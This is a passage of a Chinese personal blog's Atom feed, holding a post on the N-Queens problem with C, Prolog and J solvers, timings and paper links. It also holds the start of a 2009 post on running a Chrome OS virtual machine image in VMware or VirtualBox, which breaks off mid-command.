+3(a^2+b^2)^(n^2/2)+2(a^4+b^4)^(n^2/4);  n even; (a+b)^(n^2)+2(a+b)(a^4+b^4)^((n^2-1)/4);   +(a+b)(a^2+b^2)^((n^2-1)/2);   +4(a+b)^n(a^2+b^2)^((n^2-n)/2)  n odd. "&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;br&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;8.代码 &amp;nbsp;！！&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;&lt;a id="yr._" href="http://www.ic-net.or.jp/home/takaken/e/queen/index.html" target="_blank" title="递归代码"&gt;递归代码&lt;/a&gt; ，书上的思想！&lt;/li&gt;&lt;li&gt;&lt;div&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;int &amp;nbsp;SIZE, MASK, COUNT;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;void Backtrack(int y, int left, int down, int right)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int &amp;nbsp;bitmap, bit;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;if (y == SIZE) {&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;COUNT++;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;} else {&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;bitmap = MASK &amp;amp; ~(left | down | right);&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;while (bitmap) {&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;bit = -bitmap &amp;amp; bitmap;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;bitmap ^= bit;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Backtrack(y+1, (left | bit)&amp;lt;&amp;lt;1, down | bit, (right | bit)&amp;gt;&amp;gt;1);&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;int main(void)&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;SIZE = 17; &amp;nbsp; /* &amp;nbsp;&amp;lt;- N &amp;nbsp;*/&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;COUNT = 0; &amp;nbsp; /* result */&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;MASK = (1 &amp;lt;&amp;lt; SIZE) - 1;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Backtrack(0, 0, 0, 0);&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;printf("N=%d -&amp;gt; %d\n", SIZE, COUNT);&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;return 0;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;br&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;约束编程思想 ，别人的代码！ &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; //$sudo apt-get install swi-prolog &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;;使用&amp;nbsp;&lt;a id="e2xg" href="http://www.gprolog.org/manual/gprolog.html" target="_blank" title="Prolog"&gt;Prolog&lt;/a&gt;&amp;nbsp;语言 。&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;div&gt;/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; N Queens animation.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; Written Feb. 2008 by Markus Triska (triska@gmx.at)&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; Public domain code.&lt;/div&gt;&lt;div&gt;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;:- use_module(library(clpfd)).&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; Constraint posting.&lt;/div&gt;&lt;div&gt;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;n_queens(N, Qs) :-&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;length(Qs, N),&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Qs ins 1..N,&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;safe_queens(Qs).&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;safe_queens([]).&lt;/div&gt;&lt;div&gt;safe_queens([Q|Qs]) :- safe_queens(Qs, Q, 1), safe_queens(Qs).&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;safe_queens([], _, _).&lt;/div&gt;&lt;div&gt;safe_queens([Q|Qs], Q0, D0) :-&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Q0 #\= Q,&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;abs(Q0 - Q) #\= D0,&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;D1 #= D0 + 1,&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;safe_queens(Qs, Q0, D1).&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; Animation.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; For each N of the domain of queen Q, a reified constraint of the form&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;Q #= N #&amp;lt;==&amp;gt; B&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; is posted. When N vanishes from the domain, B becomes 0. A frozen&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; goal then emits PostScript instructions for graying out the field.&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; When B becomes 1, the frozen goal emits instructions for placing&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; the queen. On backtracking, the field is cleared.&lt;/div&gt;&lt;div&gt;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;animate(Qs) :- animate(Qs, Qs, 1).&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;animate([], _, _).&lt;/div&gt;&lt;div&gt;animate([_|Rest], Qs, N) :-&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;animate_(Qs, 1, N),&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;N1 #= N + 1,&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;animate(Rest, Qs, N1).&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;animate_([], _, _).&lt;/div&gt;&lt;div&gt;animate_([Q|Qs], C, N) :-&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;freeze(B, queen_value_truth(C,N,B)),&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Q #= N #&amp;lt;==&amp;gt; B,&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;C1 #= C + 1,&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;animate_(Qs, C1, N).&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;queen_value_truth(Q, N, 1) :- format("~w ~w q\n", [Q,N]).&lt;/div&gt;&lt;div&gt;queen_value_truth(Q, N, 0) :- format("~w ~w i\n", [Q,N]).&lt;/div&gt;&lt;div&gt;queen_value_truth(Q, N, _) :- format("~w ~w c\n", [Q,N]), false.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; PostScript definitions.&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; Sample instructions, with these definitions loaded:&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; 2 init &amp;nbsp; % initialize a 2x2 board&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; 1 1 q &amp;nbsp; &amp;nbsp;% place a queen on 1-1&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; 1 2 q&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; 1 2 c &amp;nbsp; &amp;nbsp;% remove the queen from 1-2&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; 2 2 i &amp;nbsp; &amp;nbsp;% gray out 2-2&lt;/div&gt;&lt;div&gt;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;postscript --&amp;gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;"/init { /N exch def 340 N div dup scale -1 -1 translate \&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; /Palatino-Roman 0.8 selectfont 0 setlinewidth \&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 1 1 N { 1 1 N { 1 index c } for pop } for } bind def \&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; /r { translate 0 0 1 1 4 copy rectfill 0 setgray rectstroke } bind def \&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; /i { gsave 0.5 setgray r grestore } bind def \&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; /q { gsave r 0.5 0.28 translate (Q) dup stringwidth pop -2 div 0 moveto \&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1 setgray show grestore } bind def \&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; /c { gsave 1 setgray r grestore } bind def\n".&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; Communication with gs.&lt;/div&gt;&lt;div&gt;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;show(N, Options, Qs) :-&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;N #&amp;gt; 0,&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;open(pipe('gs -dNOPROMPT -g680x680 -dGraphicsAlphaBits=2 -r144 -q'),&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; write, Out, [buffer(false)]),&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;tell(Out),&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;phrase(postscript, Ps),&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;n_queens(N, Qs),&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;format("~s gsave ~w init\n", [Ps,N]),&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;call_cleanup((animate(Qs),labeling(Options, Qs)), close(Out)).&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;%?- show(N, [ff], Qs).&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;%?- show(8, [ff], Qs).&lt;/div&gt;&lt;div&gt;%@ Qs = [1, 5, 8, 6, 3, 7, 2, 4] .&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;测试，&lt;br&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;$swipl -f code.pl&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;?- show(30,[ff,down],Qs).&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;Qs = [30, 28, 26, 7, 5, 27, 8, 24, 3|...] .&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;测试 30皇后，大概 1s 就出结果了！强大 ！&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2319215" alt="20091228205434685x687scrot.png" src="http://img2.pict.com/54/10/ba/2319215/0/20091228205434685x687scrot.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;对于 60皇后 大概 9s 左右！ &amp;nbsp;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2319229" alt="20091228205619679x683scrot.png" src="http://img2.pict.com/1f/55/9d/2319229/0/20091228205619679x683scrot.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;迭代思想 ，使用J语言 ，别人的代码 ，很不错！&lt;/li&gt;&lt;li&gt;&lt;font class="Apple-style-span" face="'Courier New'"&gt;&lt;span style="font-family: sans-serif"&gt;&lt;font face="Courier New"&gt;queens=: 3 : 0 &lt;br /&gt; z=.i.n,*n=.y.&lt;br /&gt; for. }.z do.&lt;br /&gt;  b=. -. (i.n) e."1 ,. z +"1 _ ((-i.){:$z) */ _1 0 1&lt;br /&gt;  z=. ((+/"1 b)#z),.(,b)#(*/$b)$i.n&lt;br /&gt; end.&lt;br /&gt;)&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="'Courier New'"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="'Courier New'"&gt;9.相关 论文 .&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="'Courier New'"&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font class="Apple-style-span" face="'Courier New'"&gt;&lt;div&gt;&lt;a id="iwuz" href="http://docs.google.com/viewer?url=http%3A%2F%2Fmc2.umbc.edu%2Fdocs%2Fsrini-dasgupta.pdf" target="_blank" title="N – Queen Problem in Cell:"&gt;N – Queen Problem in Cell:&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a id="lv.z" href="http://docs.google.com/viewer?url=http%3A%2F%2Farchive.ite.journal.informs.org%2FVol2No3%2FLetavecRuggiero%2FLetavecRuggiero.pdf" target="_blank" title="The n-Queens Problem"&gt;The n-Queens Problem&lt;/a&gt;&lt;div&gt;&lt;div&gt;&lt;a id="hvzj" href="http://docs.google.com/viewer?url=http%3A%2F%2Fwww.liacs.nl%2F%7Ekosters%2Fnqueens%2Fpapers%2Fgomez2004.pdf" target="_blank" title="On the modular n-queen problem in higher dimensions"&gt;On the modular n-queen problem in higher dimensions&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/font&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;br&gt;&lt;/div&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-5567217731128486962?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/5567217731128486962/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=5567217731128486962' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/5567217731128486962'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/5567217731128486962'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/01/n-queens-problem.html' title='N Queens Problem'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-1890394541249793923</id><published>2009-11-21T00:37:00.001-08:00</published><updated>2009-11-21T00:37:22.819-08:00</updated><title type='text'>Using  Chrome OS</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;h1&gt;Using Chrome OS&amp;nbsp; &lt;/h1&gt;&lt;div&gt;----alex&lt;/div&gt;&lt;/div&gt;&lt;br&gt;&lt;div&gt;&lt;h2&gt;1.下载&amp;nbsp; ,环境&lt;/h2&gt;&lt;div&gt;&lt;font class="Apple-style-span" color="#FF0000"&gt;Background:&lt;/font&gt;&lt;/div&gt;&lt;div&gt;1.Google Chrome OS演示会于北京时间2009年11月20日凌晨2:00开始&lt;/div&gt;&lt;div&gt;发布了源码 &amp;nbsp; http://src.chromium.org/&lt;/div&gt;&lt;div&gt;很遗憾的是&lt;/div&gt;&lt;div&gt;http://dev.chromium.org/getting-involved&lt;/div&gt;&lt;div&gt;http://www.chromium.org/&lt;/div&gt;&lt;div&gt;都不能访问 !!!&lt;/div&gt;&lt;div&gt;&lt;a id="spx_" href="http://v.youku.com/v_show/id_XMTMzMzc1MDQ4.html" target="_blank" title="Google Chrome OS Open Source Project Announcement"&gt;Google Chrome OS Open Source Project Announcement&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: arial, sans-serif; color: rgb(51, 51, 51)"&gt;&lt;font size="2"&gt;2.After Google announced the availability of the Chrome OS / Chromium OS source code, one of our engineers (Jon Ursenbach), immediately got to work on compiling the code, trying to see if he could get an instance of Chromium OS running in a virtual machine.&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;He was finally able to do it! You can download a copy of the virtual machine to use in VMware, VirtualBox, and on a USB drive here (300MB compressed / 700MB uncompressed):&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;a href="http://gdgt.com/google/chrome-os/download/" style="margin-right: 0px; margin-left: 0px; color: rgb(204, 0, 0); text-decoration: none"&gt;http://gdgt.com/google/chrome-os/download/&lt;/a&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Helpful tips, if you download it:&lt;br style="margin-right: 0px; margin-left: 0px"&gt;1.) To use the vmdk file, open VMware and create a new virtual machine. One of the options will be to use an "existing virtual disk." (In VMware Fusion, this is the last option below, "use operating system disk" and "use OS disc image file.")&lt;br style="margin-right: 0px; margin-left: 0px"&gt;2.) Make sure your VM is set to use bridged networking, rather than NAT.&lt;br style="margin-right: 0px; margin-left: 0px"&gt;2.) The username and password to login to Chrome OS / Chromium OS is your google account!&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Alternatively, if you don't have VMware, some users have had luck getting this image to run using VirtualBox, which is a free cross-platform (Windows / Mac / Linux) virtual machine created by Sun Microsystem. You can download VirtualBox here:&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;a rel="nofollow" href="http://www.virtualbox.org/" style="margin-right: 0px; margin-left: 0px; color: rgb(204, 0, 0); text-decoration: none"&gt;http://www.virtualbox.org/&lt;/a&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;Anyway, get downloading and try out Chrome OS! And definitely share your impressions.&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: arial, sans-serif; color: rgb(51, 51, 51)"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: arial, sans-serif; color: rgb(51, 51, 51)"&gt;&lt;font size="2"&gt;3.&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: arial, sans-serif; color: rgb(51, 51, 51)"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: arial, sans-serif; color: rgb(51, 51, 51)"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: arial, sans-serif; color: rgb(51, 51, 51)"&gt;&lt;font size="2"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family: arial, sans-serif; color: rgb(51, 51, 51)"&gt;&lt;font size="2"&gt;国内比较快的种子 &amp;nbsp; &amp;nbsp;http://google.org.cn/files/chromeos-image-999.999.32309.211410-a1.vmdk.bz2.5170843.TPB.torrent&lt;br style="margin-right: 0px; margin-left: 0px"&gt;当然也可以自己编译 &amp;nbsp;，哈哈&amp;nbsp;&lt;br style="margin-right: 0px; margin-left: 0px"&gt;&lt;br&gt;&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;&lt;br&gt;Ubuntu 9.10 - Karmic Koala&amp;nbsp;&amp;nbsp; &lt;img class="big" id="image_2025729" alt="ubuntulogo2290x300.png" src="http://img2.pict.com/69/b9/59/2025729/0/ubuntulogo2290x300.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2025745" alt="screenshot1.png" src="http://img2.pict.com/8c/93/d5/2025745/0/screenshot1.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;br&gt;&lt;h2&gt;2.安装过程&lt;/h2&gt;&lt;div&gt;截了一些图片 &amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2025799" alt="screenshot7.png" src="http://img2.pict.com/eb/b0/19/2025799/0/screenshot7.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2025795" alt="screenshot3.png" src="http://img2.pict.com/44/05/5a/2025795/0/screenshot3.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2025796" alt="screenshot4.png" src="http://img2.pict.com/3e/b7/85/2025796/0/screenshot4.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;img class="big" id="image_2025797" alt="screenshot5.png" src="http://img2.pict.com/18/bb/16/2025797/0/screenshot5.png" style="border-style: initial; border-color: initial; margin-right: 25px; margin-left: 25px; vertical-align: middle"&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;.vmdk &amp;nbsp;是vmware 上的虚拟硬盘镜像，在VirtualBox上也能用。&lt;/div&gt;&lt;div&gt;如果要转换成VirtualBox的.vdi&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;&lt;br&gt;&lt;/div&gt;&lt;div&gt;$ unzip 